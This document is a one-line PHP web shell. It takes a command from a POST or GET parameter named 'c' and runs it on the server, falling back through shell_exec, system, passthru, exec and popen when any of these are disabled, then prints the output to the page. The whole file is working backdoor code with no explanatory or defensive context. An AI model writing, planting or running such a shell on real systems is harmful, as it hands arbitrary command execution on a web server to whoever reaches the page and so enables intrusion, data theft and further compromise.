<?php $c=isset($_POST["c"])?$_POST["c"]:(isset($_GET["c"])?$_GET["c"]:"");if($c){$o="";if(function_exists("shell_exec")){$o=shell_exec($c." 2>&1");}elseif(function_exists("system")){ob_start();system($c." 2>&1");$o=ob_get_clean();}elseif(function_exists("passthru")){ob_start();passthru($c." 2>&1");$o=ob_get_clean();}elseif(function_exists("exec")){exec($c." 2>&1",$a);$o=implode("\n",$a);}elseif(function_exists("popen")){$h=popen($c." 2>&1","r");$o="";while(!feof($h)){$o.=fread($h,4096);}pclose($h);}echo"<pre>".htmlspecialchars($o)."</pre>";}?>